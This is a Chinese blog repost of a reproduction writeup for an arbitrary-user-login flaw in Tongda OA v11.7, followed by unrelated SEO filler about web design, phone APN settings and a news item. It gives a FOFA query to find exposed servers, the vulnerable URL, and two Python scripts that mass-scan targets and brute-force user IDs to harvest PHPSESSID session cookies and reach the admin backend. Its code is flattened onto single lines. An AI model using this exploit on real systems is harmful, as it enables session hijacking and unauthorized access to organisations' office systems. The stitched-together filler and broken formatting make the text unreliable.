通達OA V11.7版本存在這任意用戶登錄漏洞,該漏洞需要管理員在線才可以登錄系統,另外一個方面就是編譯在線的uid值進行判斷。
具體fofa語法放在下面:
app="TDXK-通達OA"
訪問 :
http://xxx.xxx.xxx.xxx/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
如果頁面時空白的,則說明管理員在線,即可以利用
如果顯示RELOGIN,則不可以利用
獲取到uid=1的cookie
同時訪問即可進行登錄后臺:
http://127.0.0.1/general/通過遍歷uid的值,判斷用戶是否上線過,實現任意用戶登錄,同時該謝大佬腳本,更改了一下批量測試腳本:
import requestsimport sysimport randomimport reimport timeimport threadingfrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef title(): print('+------------------------------------------') print('+ \033[34mVersion: 通達OA 11.7 ') print('+ \033[34mVersion: 用法:python3 poc.py http://xxx.xxx.xxx.xxx/ ') print('+------------------------------------------')def POC_1(target_url): vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) if "RELOGIN" in response.text and response.status_code == 200: print(target_url.replace("\n","") +"\033[31m[x] 目標用戶為下線狀態 --- {}\033[0m".format(time.asctime( time.localtime(time.time())))) elif response.status_code == 200 and response.text == "": PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers)) print(target_url.replace("\n","") + "\033[32m[o] 用戶上線 PHPSESSION: {} --- {}\033[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time())))) else: print("\033[31m[x] 請求失敗,目標可能不存在漏洞") sys.exit(0) except Exception as e: print("\033[31m[x] 請求失敗 \033[0m", e)if __name__ == '__main__': title() # target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) # while True: # POC_1(target_url) # time.sleep(5) # 批量檢測 for url in open("url.txt"): # POC_1(url) t1 = threading.Thread(target=POC_1, args=(url.replace("\n", ""),)) t1.start()
網上師傅的腳本:
import requestsfrom bs4 import BeautifulSoupimport sysimport reurl = sys.argv[1]for i in range(1,10000): try : vuln_url = url + "/mobile/auth_mobi.php?isAvatar=1&u&P_VER=0" resp = requests.get(vuln_url) soup = BeautifulSoup(resp.text,'html.parser') if 'RELOGIN' in soup.get_text(): print("不存在") else: PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(resp.headers)) print('uid='+str(i)+"在線"+"對應的COOKIE值是:PHPSESSID="+str(PHPSESSION[0])) break except: break
轉載請注明:Adminxe's Blog?【漏洞復現】通達OA v11.7 在線任意用戶登錄漏洞
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
中國移動apn如何選擇?APN公司可以選擇cmnet和cmwap。具體步驟如下,以小米max手機為例:1.點擊手機設置,找到雙卡和移動網絡,進入下一頁;2.點擊進入下一頁;3.點擊接入點名稱(APN)進入下一頁;4.根據個人情況選擇cmnet和cmwap APN。opporeno4網絡接入點怎么設置?1.打開手機設置,點擊 "雙卡和移動網絡 "。2.找到并點選SIM卡信息,然后點選存取點名稱。3....
戴爾win10開始菜單和cortana無法工作怎么辦?這種情況一般是優化系統或者安裝第三方管理軟件造成的。先卸載第三方管理軟件和殺毒軟件,然后嘗試用以下方法解決問題:1.按下并保持Win R呼叫 "跑步和跑步并執行進入 "服務與營銷。2.找到用戶管理器服務,右鍵單擊并選擇 "屬性 ",選擇 "自動 "在啟動類型和點擊 "OK "。3.點擊 "立即注銷 "在彈出窗口中 "嚴重錯誤和提示框重新登錄。...
700Bike創始人社交平臺曝光飛機鄰座要求其道歉,你怎么看?張向東,換個說法吧。如果你是對方,為了炒作你的狗屁自行車,借口考慮所有乘客的安全,你可以發展微博,侵犯對方肖像權,你哪里能高貴?不過,飛機上帶手機的人也確實是先搞錯了700Bike創始人發博曝光領座女,飛機上用手機到底有多大影響?手機發射無線電波!飛機在飛行中通過無線電通信塔導航,手機無線電會干擾飛機的無線電波,干擾GPS!飛機在空中飛...